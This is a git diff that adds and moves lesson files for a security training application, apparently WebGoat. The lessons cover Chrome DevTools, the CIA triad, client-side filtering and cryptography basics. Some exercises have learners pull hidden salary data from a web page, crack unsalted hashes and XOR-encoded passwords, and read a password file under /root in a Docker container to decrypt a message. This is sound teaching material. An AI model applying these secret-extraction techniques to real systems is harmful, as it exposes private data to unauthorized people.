b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_sources.adoc new file mode 100644 index 000000000..8bd4314bd --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_sources.adoc @@ -0,0 +1,16 @@ +== The Sources tab + +In the sources tab, you can check out the file system and view all the HTML, CSS, and JavaScript files used to +create the website. Click on a file to view its contents. + +image::images/ChromeDev_Sources.jpg[DeveloperToolsSources,400,500,style="lesson-image"] + +== The Network tab + +In the Network tab, you can view HTTP requests and responses the website has performed. +Just click on it if you want more detailed information on a particular request. +The "Timeline" above the blue dots represents when these requests and responses have been performed. +You can also see the Requests done in a specific time frame simply by clicking and dragging on the timeline. The window +below will only show the requests and responses done in that time frame. + +image::images/ChromeDev_Network.jpg[DeveloperToolsNetwork,400,500,style="lesson-image"] diff --git a/src/main/resources/lessons/chromedevtools/html/ChromeDevTools.html b/src/main/resources/lessons/chromedevtools/html/ChromeDevTools.html new file mode 100644 index 000000000..c83603964 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/html/ChromeDevTools.html @@ -0,0 +1,85 @@ + + + + + +
+
+
+ + +
+
+
+ + +
+
+
+ + +
+
+
+
+ + + + +
+
+
+
+ + +
+
+
+ + +
+
+
+
+
+ + + + + + + + +
Click this button to make a request:
+
+ +
+ + + + + + + +
What is the number you found:
+ +
+
+
+
+
+ + diff --git a/src/main/resources/lessons/chromedevtools/i18n/WebGoatLabels.properties b/src/main/resources/lessons/chromedevtools/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..792ad7bbf --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/i18n/WebGoatLabels.properties @@ -0,0 +1,11 @@ +3.chrome-dev-tools.title=Developer Tools + +xss-dom-message-success=Correct! +xss-dom-message-failure=Incorrect. + +network.request=You made a HTTP Request. +network.success=Correct, Well Done. +network.failed=That is not correct, try again. + +networkHint1=Clear all Requests from the network button, then make the request. The you should be able to figure out, which request holds the data. +networkHint2=The name of the request is "dummy" diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Clear.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Clear.jpg new file mode 100644 index 000000000..d0018cd6b Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Clear.jpg differ diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Ex.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Ex.jpg new file mode 100644 index 000000000..ed292b116 Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Ex.jpg differ diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements.jpg new file mode 100644 index 000000000..2613837e5 Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements.jpg differ diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements_CSS.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements_CSS.jpg new file mode 100644 index 000000000..867a5769c Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements_CSS.jpg differ diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Network.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Network.jpg new file mode 100644 index 000000000..44a916d20 Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Network.jpg differ diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Sources.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Sources.jpg new file mode 100644 index 000000000..8d09b87b0 Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Sources.jpg differ diff --git a/src/main/resources/lessons/cia/documentation/CIA_availability.adoc b/src/main/resources/lessons/cia/documentation/CIA_availability.adoc new file mode 100644 index 000000000..041c344d3 --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_availability.adoc @@ -0,0 +1,24 @@ +== Availability + +Availability is "the property of being accessible and usable on demand by an authorized entity." In other words, authorized persons should have access to permitted resources at all times. + +{nbsp} + + +=== Examples that compromise availability: + +** denial-of-service attacks (DOS) +** hardware failures +** fire or other natural disasters +** software or network misconfigurations + +{nbsp} + + +=== Examples of methods ensuring availability + +** intrusion detection systems (IDSs) +** network traffic control +** firewalls +** physical security of hardware and underlying infrastructure +*** protection against fire, water, and other elements +** hardware maintenance +** redundancy diff --git a/src/main/resources/lessons/cia/documentation/CIA_confidentiality.adoc b/src/main/resources/lessons/cia/documentation/CIA_confidentiality.adoc new file mode 100644 index 000000000..9045d4d5e --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_confidentiality.adoc @@ -0,0 +1,25 @@ +== Confidentiality + +Confidentiality is "the property that information is not made available or disclosed to unauthorized individuals, entities, or processes." In other words, confidentiality requires that unauthorized users should not be able to access sensitive resources. Confidentiality must be balanced with availability; authorized persons must still access the resources they have been granted permissions for. + +Although confidentiality is similar to "privacy," these two words are not interchangeable. Instead, confidentiality is a component of privacy; confidentiality is implemented to protect resources from unauthorized entities. + +{nbsp} + + +=== Examples that compromise confidentiality: + +** a hacker gets access to the password database of a company +** a sensitive email is sent to the incorrect individual +** a hacker reads sensitive information by intercepting and eavesdropping on an information transfer + +{nbsp} + + +=== Examples of methods ensuring confidentiality + +** data encryption +** properly implemented authentication and access control +*** securely stored passwords +*** multi-factor authentication (MFA) +*** biometric verification +** minimizing the number of places/times the information appears +** physical security controls such as properly secured server rooms diff --git a/src/main/resources/lessons/cia/documentation/CIA_integrity.adoc b/src/main/resources/lessons/cia/documentation/CIA_integrity.adoc new file mode 100644 index 000000000..cddf63cfc --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_integrity.adoc @@ -0,0 +1,21 @@ +== Integrity + +Integrity is "the property of accuracy and completeness." In other words, integrity means maintaining the consistency, accuracy, and trustworthiness of data over its entire life cycle. Data must not change during transit, and unauthorized entities should not alter the data. + +{nbsp} + + +=== Examples that compromise integrity: + +** human error when entering data +** errors during data transmission +** software bugs and hardware failures +** hackers change information that they should not have access to + +{nbsp} + + +=== Examples of methods ensuring the integrity + +** well functioning authentication methods and access control +** checking integrity with hash functions +** backups and redundancy +** auditing and logging diff --git a/src/main/resources/lessons/cia/documentation/CIA_intro.adoc b/src/main/resources/lessons/cia/documentation/CIA_intro.adoc new file mode 100644 index 000000000..8804d73bd --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_intro.adoc @@ -0,0 +1,7 @@ +== The CIA Triad + +The CIA Triad (confidentiality, integrity, availability) is a model for information security. +The three elements of the triad are considered the most crucial information security components and should guarantee in any secure system. + +Serious consequences can result if even one of these elements is breached. + +The CIA Triad was created to provide a baseline standard for evaluating and implementing security regardless of the underlying system and/or organization. diff --git a/src/main/resources/lessons/cia/documentation/CIA_quiz.adoc b/src/main/resources/lessons/cia/documentation/CIA_quiz.adoc new file mode 100644 index 000000000..90be99409 --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_quiz.adoc @@ -0,0 +1,3 @@ +Now it's time for a quiz! Answer the following question to check if you understood the topic. + +Today, most systems are protected by a firewall. A properly configured firewall can prevent malicious entities from accessing a system and helps protect an organization's resources. For this quiz, imagine a system that handles personal data but is not protected by a firewall: diff --git a/src/main/resources/lessons/cia/html/CIA.html b/src/main/resources/lessons/cia/html/CIA.html new file mode 100644 index 000000000..219ce0e08 --- /dev/null +++ b/src/main/resources/lessons/cia/html/CIA.html @@ -0,0 +1,43 @@ + + + + +
+
+
+ +
+
+
+ +
+
+
+ +
+
+
+ +
+ + + + +
+
+
+
+
+
+
+ +
+
+
+
+
+
+ + diff --git a/src/main/resources/lessons/cia/i18n/WebGoatLabels.properties b/src/main/resources/lessons/cia/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..8260cf034 --- /dev/null +++ b/src/main/resources/lessons/cia/i18n/WebGoatLabels.properties @@ -0,0 +1 @@ +4.cia.title=CIA Triad diff --git a/src/main/resources/lessons/cia/js/questions_cia.json b/src/main/resources/lessons/cia/js/questions_cia.json new file mode 100644 index 000000000..caadbab70 --- /dev/null +++ b/src/main/resources/lessons/cia/js/questions_cia.json @@ -0,0 +1,40 @@ +{ + "questions": [ + { + "text": "How could an intruder harm the security goal of confidentiality?", + "solutions": { + "1": "By deleting all the databases.", + "2": "By stealing a database where general configuration information for the system is stored.", + "3": "By stealing a database where names and emails are stored and uploading it to a website.", + "4": "Confidentiality can't be harmed by an intruder." + } + }, + { + "text": "How could an intruder harm the security goal of integrity?", + "solutions": { + "1": "By changing the names and emails of one or more users stored in a database.", + "2": "By listening to incoming and outgoing network traffic.", + "3": "By bypassing the access control mechanisms used to manage database access.", + "4": "Integrity can only be harmed when the intruder has physical access to the database." + } + }, + { + "text": "How could an intruder harm the security goal of availability?", + "solutions": { + "1": "By exploiting a software bug that allows the attacker to bypass the normal authentication mechanisms for a database.", + "2": "By redirecting sensitive emails to other individuals.", + "3": "Availability can only be harmed by unplugging the power supply of the storage devices.", + "4": "By launching a denial of service attack on the servers." + } + }, + { + "text": "What happens if at least one of the CIA security goals is harmed?", + "solutions": { + "1": "All three goals must be harmed for the system's security to be compromised; harming just one goal has no effect on the system's security.", + "2": "The system's security is compromised even if only one goal is harmed.", + "3": "It is acceptable if an attacker reads or changes data since at least some of the data is still available. The system's security is compromised only if its availability is harmed.", + "4": "It is acceptable if an attacker changes data or makes it unavailable, but reading sensitive data is not tolerable. The system's security is compromised only if its confidentiality is harmed." + } + } + ] +} \ No newline at end of file diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFiltering-stage1.css b/src/main/resources/lessons/clientsidefiltering/css/clientSideFiltering-stage1.css similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFiltering-stage1.css rename to src/main/resources/lessons/clientsidefiltering/css/clientSideFiltering-stage1.css diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css b/src/main/resources/lessons/clientsidefiltering/css/clientSideFilteringFree.css similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css rename to src/main/resources/lessons/clientsidefiltering/css/clientSideFilteringFree.css diff --git a/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_assignment.adoc b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_assignment.adoc new file mode 100644 index 000000000..dfb254dad --- /dev/null +++ b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_assignment.adoc @@ -0,0 +1,5 @@ +== Salary manager + +You are logged in as Moe Stooge, CSO of Goat Hills Financial. You have access to everyone in the company's information, +except the CEO, Neville Bartholomew. Or at least you should not have access to the CEO's information. For this assignment, +examine the page's contents to see what extra information you can find. diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_final.adoc similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc rename to src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_final.adoc diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_plan.adoc similarity index 55% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc rename to src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_plan.adoc index ec5852f77..ed118faf9 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc +++ b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_plan.adoc @@ -1,6 +1,6 @@ -== Client Side Filtering +== Client side filtering -It is always a good practice to send to the client only information which they are supposed +It is always a good practice to send only information to the client they are supposed to have access to. In this lesson, too much information is being sent to the client, creating -a serious access control problem. For this exercise, your mission is exploit the extraneous information being returned -by the server to discover information to which you should not have access. \ No newline at end of file +a serious access control problem. For this exercise, your mission is to exploit the extraneous information returned +by the server to discover information to which you should not have access. diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html b/src/main/resources/lessons/clientsidefiltering/html/ClientSideFiltering.html similarity index 95% rename from webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html rename to src/main/resources/lessons/clientsidefiltering/html/ClientSideFiltering.html index fba83fe8d..18d965c66 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html +++ b/src/main/resources/lessons/clientsidefiltering/html/ClientSideFiltering.html @@ -2,10 +2,10 @@
-
+
-
+

@@ -74,7 +74,7 @@
-
+
@@ -83,8 +83,7 @@
+ action="/WebGoat/clientSideFiltering/getItForFree">
diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/clientsidefiltering/i18n/WebGoatLabels.properties similarity index 92% rename from webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/clientsidefiltering/i18n/WebGoatLabels.properties index 0288c3ddf..08ea3c790 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties +++ b/src/main/resources/lessons/clientsidefiltering/i18n/WebGoatLabels.properties @@ -10,7 +10,7 @@ ClientSideFilteringStage1Complete=Stage 1 completed. ClientSideFilteringStage1Question=What is Neville Bartholomew's salary? ClientSideFilteringStage1SubmitAnswer=Submit Answer ClientSideFilteringStage2Finish=Click here when you believe you have completed the lesson. -ClientSideFilteringChoose=Choose Employee +ClientSideFilteringChoose=Choose employee ClientSideFilteringHint1=The information displayed when an employee is chosen from the drop down menu is stored on the client side. ClientSideFilteringHint2=Use Firebug to find where the information is stored on the client side. ClientSideFilteringHint3=Examine the hidden table to see if there is anyone listed who is not in the drop down menu. @@ -27,6 +27,6 @@ ClientSideFilteringInstructions1=STAGE 1: You are logged in as Moe Stooge, CSO o ClientSideFilteringInstructions2=STAGE 2: Now, fix the problem. Modify the server to only return results that Moe Stooge is allowed to see. ClientSideFiltering.incorrect=This is not the salary from Neville Bartholomew... -client.side.filtering.free.hint1=Look through the webpage inspect the sources etc +client.side.filtering.free.hint1=Look through the web page inspect the sources etc client.side.filtering.free.hint2=Try to see the flow of request from the page to the backend -client.side.fiterling.free.hint3=One of the responses contains the answer +client.side.filtering.free.hint3=One of the responses contains the answer diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_header.jpg b/src/main/resources/lessons/clientsidefiltering/images/lesson1_header.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_header.jpg rename to src/main/resources/lessons/clientsidefiltering/images/lesson1_header.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_workspace.jpg b/src/main/resources/lessons/clientsidefiltering/images/lesson1_workspace.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_workspace.jpg rename to src/main/resources/lessons/clientsidefiltering/images/lesson1_workspace.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg b/src/main/resources/lessons/clientsidefiltering/images/samsung-black.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg rename to src/main/resources/lessons/clientsidefiltering/images/samsung-black.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg b/src/main/resources/lessons/clientsidefiltering/images/samsung-grey.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg rename to src/main/resources/lessons/clientsidefiltering/images/samsung-grey.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFiltering.js b/src/main/resources/lessons/clientsidefiltering/js/clientSideFiltering.js similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFiltering.js rename to src/main/resources/lessons/clientsidefiltering/js/clientSideFiltering.js diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js b/src/main/resources/lessons/clientsidefiltering/js/clientSideFilteringFree.js similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js rename to src/main/resources/lessons/clientsidefiltering/js/clientSideFilteringFree.js diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering.html b/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering.html similarity index 96% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering.html rename to src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering.html index 3a67cfb18..3dc36ab2d 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering.html +++ b/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering.html @@ -51,7 +51,7 @@ even if it is hidden it is easy to find the sensitive date. In this stage you will add a filter to the XPath queries. In this file you will find following construct:

- StringBuffer sb = new StringBuffer();
+ StringBuilder sb = new StringBuilder();
sb.append("/Employees/Employee/UserID | ");
sb.append("/Employees/Employee/FirstName | ");
@@ -66,7 +66,7 @@ This string will be used for the XPath query. You have to guarantee that a mange can see employees which are working for him. To archive this you can use filters in XPath. Following code will exactly do this:

- StringBuffer sb = new StringBuffer();
+ StringBuilder sb = new StringBuilder();
sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/UserID | ");
sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/FirstName | ");
@@ -81,4 +81,4 @@ Now only information is sent to your client you are authorized for. You can clic

- \ No newline at end of file + diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg b/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg rename to src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg diff --git a/src/main/resources/lessons/cryptography/documentation/Crypto_plan.adoc b/src/main/resources/lessons/cryptography/documentation/Crypto_plan.adoc new file mode 100644 index 000000000..39ce0b5c0 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/Crypto_plan.adoc @@ -0,0 +1,35 @@ += Cryptography Basics + +== Concept + +ifeval::["{lang}" == "nl"] +Deze les behandelt verschillende cryptografische technieken die voorkomen in webapplicaties. +endif::[] + +ifeval::["{lang}" != "nl"] +This lesson explains different types of cryptography techniques that are commonly used in web applications. +endif::[] + +== Goals + +The goal is to get familiar with the following forms of techniques: + +* link:start.mvc#lesson/Crypto.lesson/1[Encoding] + +* link:start.mvc#lesson/Crypto.lesson/3[Hashing] + +* link:start.mvc#lesson/Crypto.lesson/4[Encryption] + +* link:start.mvc#lesson/Crypto.lesson/5[Signing] + +* link:start.mvc#lesson/Crypto.lesson/6[Keystores] + +* link:start.mvc#lesson/Crypto.lesson/7[Security defaults] + +* link:start.mvc#lesson/Crypto.lesson/8[Post quantum crypto] + +=== Assignments + +After the explanation of an item there will be several assignments. + + diff --git a/src/main/resources/lessons/cryptography/documentation/defaults.adoc b/src/main/resources/lessons/cryptography/documentation/defaults.adoc new file mode 100644 index 000000000..c6391aaac --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/defaults.adoc @@ -0,0 +1,33 @@ += Security defaults + +A big problem in all kinds of systems is the use of default configurations. +E.g. default username/passwords in routers, default passwords for keystores, default unencrypted mode, etc. + +== Java cacerts + +Did you ever *_changeit_*? Putting a password on the cacerts file has some implications. It is important when the trusted certificate authorities need to be protected and an unknown self signed certificate authority cannot be added too easily. + +== Protecting your id_rsa private key + +Are you using an ssh key for GitHub and or other sites and are you leaving it unencrypted on your disk? Or even on your cloud drive? By default, the generation of an ssh key pair leaves the private key unencrypted. Which makes it easy to use and if stored in a place where only you can go, it offers sufficient protection. However, it is better to encrypt the key. When you want to use the key, you would have to provide the password again. + +== SSH username/password to your server + +When you are getting a virtual server from some hosting provider, there are usually a lot of not so secure defaults. One of which is that ssh to the server runs on the default port 22 and allows username/password attempts. One of the first things you should do, is to change the configuration that you cannot ssh as user root, and you cannot ssh using username/password, but only with a valid and strong ssh key. If not, then you will notice continuous brute force attempts to login to your server. + + +== Assignment + +In this exercise you need to retrieve a secret that has accidentally been left inside a docker container image. With this secret, you can decrypt the following message: *U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=*. +You can decrypt the message by logging in to the running container (docker exec ...) and getting access to the password file located in /root. Then use the openssl command inside the container (for portability issues in openssl on Windows/Mac/Linux) +You can find the secret in the following docker image, which you can start as: + + docker run -d webgoat/assignments:findthesecret + +[source] +---- +echo "U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -kfile .... +---- + + + diff --git a/src/main/resources/lessons/cryptography/documentation/encoding_plan.adoc b/src/main/resources/lessons/cryptography/documentation/encoding_plan.adoc new file mode 100644 index 000000000..a606f3853 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/encoding_plan.adoc @@ -0,0 +1,26 @@ += Cryptography Basics + +== Base64 Encoding + +Encoding is not really cryptography, but it is used a lot in all kinds of standards around cryptographic functions. Especially Base64 encoding. + +Base64 encoding is a technique used to transform all kinds of bytes to a specific range of bytes. This specific range is the ASCII readable bytes. +This way you can transfer binary data such as secret or private keys more easily. You could even print these out or write them down. +Encoding is also reversible. So if you have the encoded version, you can create the original version. + +On wikipedia you can find more details. Basically it goes through all the bytes and transforms each set of 6 bits into a readable byte (8 bits). The result is that the size of the encoded bytes is increased with about 33%. + + Hello ==> SGVsbG8= + 0x4d 0x61 ==> TWE= + +=== Basic Authentication + +Basic authentication is sometimes used by web applications. This uses base64 encoding. Therefore, it is important to at least use Transport Layer Security (TLS or more commonly known as https) to protect others from reading the username password that is sent to the server. + + $echo -n "myuser:mypassword" | base64 + bXl1c2VyOm15cGFzc3dvcmQ= + +The HTTP header will look like: + + Authorization: Basic bXl1c2VyOm15cGFzc3dvcmQ= + diff --git a/src/main/resources/lessons/cryptography/documentation/encoding_plan2.adoc b/src/main/resources/lessons/cryptography/documentation/encoding_plan2.adoc new file mode 100644 index 000000000..e31387d35 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/encoding_plan2.adoc @@ -0,0 +1,25 @@ += Cryptography Basics + +== Other Encoding + +Also other encodings are used. + +=== URL encoding + +URL encoding is used a lot when sending form data and request parameters to the server. Since spaces are not allowed in a URL, this is then replaced by %20. Similar replacements are made for other characters. + +=== HTML encoding + +HTML encoding ensures that text is displayed as-is in the browser and not interpreted by the browser as HTML. + +=== UUEncode + +The Unix-2-Unix encoding has been used to send email attachments. + +=== XOR encoding + +Sometimes encoding is used as a first and simple obfuscation technique for storing passwords. IBM WebSphere Application Server e.g. uses a specific implementation of XOR encoding to store passwords in configuration files. IBM recommends to protect access to these files and to replace the default XOR encoding by your own custom encryption. However when these recommendations are not followed, these defaults can become a vulnerability. + +== Assignment + +Now let's see if you are able to find out the original password from this default XOR encoded string. diff --git a/src/main/resources/lessons/cryptography/documentation/encryption.adoc b/src/main/resources/lessons/cryptography/documentation/encryption.adoc new file mode 100644 index 000000000..ce0aacbfc --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/encryption.adoc @@ -0,0 +1,32 @@ += Encryption + +== Symmetric encryption + +Symmetric encryption is based on a shared secret that is used for both encryption as well as decryption. Therefore, both parties (that are involved in exchanging secrets) share the same key. + +Example protocols are: + +* AES +* 3DES + +== Asymmetric encryption + +Asymmetric encryption is based on mathematical principles that consist of a key pair. The two keys are usually called a private key and a public key. The private key needs to be protected very well and is only known to one party. All others can freely use the public key. Something encrypted with the private key can be decrypted by all that have the public key, and something encrypted with the public key can only be decrypted with the private key. + +Example protocols are: + +* RSA +* DSA + +== HTTPS uses both symmetric and asymmetric keys + +Here is a short description of what happens if you open your browser and go to an https site. + +* Your browser connects to the server and gets the webserver certificate +* Your browser checks if it trusts the certificate issuer by checking if the issuer certificate is in its trust store. This trust store is managed by operating system and browser updates. And on some corporate networks it is managed by the company. From the certificate the browser obtains the public key. +* The browser now generates random bytes to be used to generate a symmetric key and encrypts this with the public key of the server. So only the server can decrypt it. +* At the end of this process both the browser and the webserver will use the exchanged symmetric key (in the asymmetric key exchange process) to encrypt and decrypt messages that are sent back and forth between the browser and the webserver. + +Symmetric keys are used because it can be used more easily with large sets of data and requires less processing power in doing so. However, the information on these pages is just for a basic understanding of cryptography. Look on the internet for more detailed information about these topics. + + diff --git a/src/main/resources/lessons/cryptography/documentation/hashing_plan.adoc b/src/main/resources/lessons/cryptography/documentation/hashing_plan.adoc new file mode 100644 index 000000000..44bd85c23 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/hashing_plan.adoc @@ -0,0 +1,20 @@ += Cryptography Basics + +== Plain Hashing + +Hashing is a type of cryptography which is mostly used to detect if the original data has been changed. A hash is generated from the original data. It is based on irreversible cryptographic techniques. +If the original data is changed by even one byte, the resulting hash is also different. + +So in a way it looks like a secure technique. However, it is NOT and even NEVER a good solution when using it for passwords. The problem here is that you can generate passwords from dictionaries and calculate all kinds of variants from these passwords. For each password you can calculate a hash. This can all be stored in large databases. So whenever you find a hash that could be a password, you just look up the hash in the database and find out the password. + +Some hashing algorithms should no longer be used: MD5, SHA-1 +For these hashes it is possible to change the payload in such a way that it still results in the same hash. This takes a lot of computing power, but is still a feasible option. + +== Salted Hashes + +Plain passwords should obviously not be stored in a database. And the same goes for plain hashes. +The https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html[OWASP Password Storage Cheat Sheet,window=_blank] explains what should be used when password related information needs to be stored securely. + +== Assignment + +Now let's see if you can find what passwords matches which plain (unsalted) hashes. diff --git a/src/main/resources/lessons/cryptography/documentation/keystores.adoc b/src/main/resources/lessons/cryptography/documentation/keystores.adoc new file mode 100644 index 000000000..6ce4a79e1 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/keystores.adoc @@ -0,0 +1,35 @@ += Keystores & Truststores + +A keystore is a place where you store keys. Besides *_keystore_* the term *_truststore_* is also used frequently. A truststore is the same thing as a keystore. Only it usually contains only the certificates (so basically only public keys and issuer information) of trusted certificates or certificate authorities. + +== File based keystores + +A file based keystore is something that in the end has the keys on a file system. +Storing public certificates in a file based keystore is very common + +== Database keystores + +Keys and especially public certificates can of course also be stored in a database. + +== Hardware keystore + +A hardware keystore is a system that has some sort of hardware which contain the actual keys. +This is typically done in high end security environments where the private key is really private. +In comparison with file based or database keystores, it is impossible to make a copy of the keystore to send it to some unknown and untrusted environment. + +Some certificate authorities that are used to provide you with a server certificate for your website, also create the private keys for you (as-a-service). However, it is by definition no longer considered a private key. For all keystore types, you should keep the private key private and use a certificate signing request to order your signing or server certificates. + +== Managed keystores in operating system, browser and other applications + +When you visit a website and your browser says that the certificates are fine, it means that the certificate used for the website is issued by a trusted certificate authority. But this list of trusted certificate authorities is managed. Some CA's might be revoked or removed. These updates happen in the background when browser updates are installed. +Not only the browser maintains a list of trusted certificate authorities, the operation system does so as well. And the Java runtime also has its own list which is kept in the cacerts file. Updates of the OS and Java JRE keep this list up to date. In corporate environments, these are usually maintained by the company and also contain company root certificates. + +== Extra check for website certificates using DNS CAA records + +Some companies inspect all or most internet traffic. Even the ones were you think you have an end-2-end secured connection. This works as follows. An employee opens a browser and googles some information. The browser will use https and go to the site of google. The link looks real and the lock is shown in the browser. However, if you would inspect the certificate, you might notice that it has been issued by one of your companies root CA's! So you have established an end-2-end secure connection with a server of your company, and that server has the secure connection with google. +In order to prevent such man in the middle connections to your server, modern browsers now will also check the DNS CAA records to see whether or not a certain issuer is allowed for a certain website. +More information: https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization[Wiki DNS CAA,window=_blank] + +== Free certificates from Let's encrypt + +https://letsencrypt.org[Let's encrypt,,window=_blank] is a free, automated and open Certificate Authority. It allows you to create valid certificates for the websites that you control. By following and implementing a certain protocol, your identity is checked and a certificate will be issued. The certificates are free of charge and this is done to stimulate the use of authorised certificates and to lower the use of self-signed certificates on the internet. Certificates are valid for 90 days, so they need to be automatically renewed. (Which makes sure that the proof of identity/ownership also takes place frequently) \ No newline at end of file diff --git a/src/main/resources/lessons/cryptography/documentation/postquantum.adoc b/src/main/resources/lessons/cryptography/documentation/postquantum.adoc new file mode 100644 index 000000000..3b8666c30 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/postquantum.adoc @@ -0,0 +1,7 @@ += Post Quantum + +== Post quantum cryptography + +Quantum computers are here and getting more power in available qubits each year. Quantum computers are and will be capable of decrypting information that was encrypted with algorithms that were thought to be safe. For some years now, a lot of encrypted communication using quantum vulnerable cryptography is being recorded. This information will be decrypted when the quantum computers are powerful enough. Even though the information may be old, it still could contain valuable information that can be misused. Besides the fact that some private information will be known to parties it was not intended for. + +Mathematics has answers for the post quantum era. New cryptography is already available and should be used NOW in order to minimize threats. You can read more on this on Wikipedia: https://en.wikipedia.org/wiki/Post-quantum_cryptography[Post quatum on 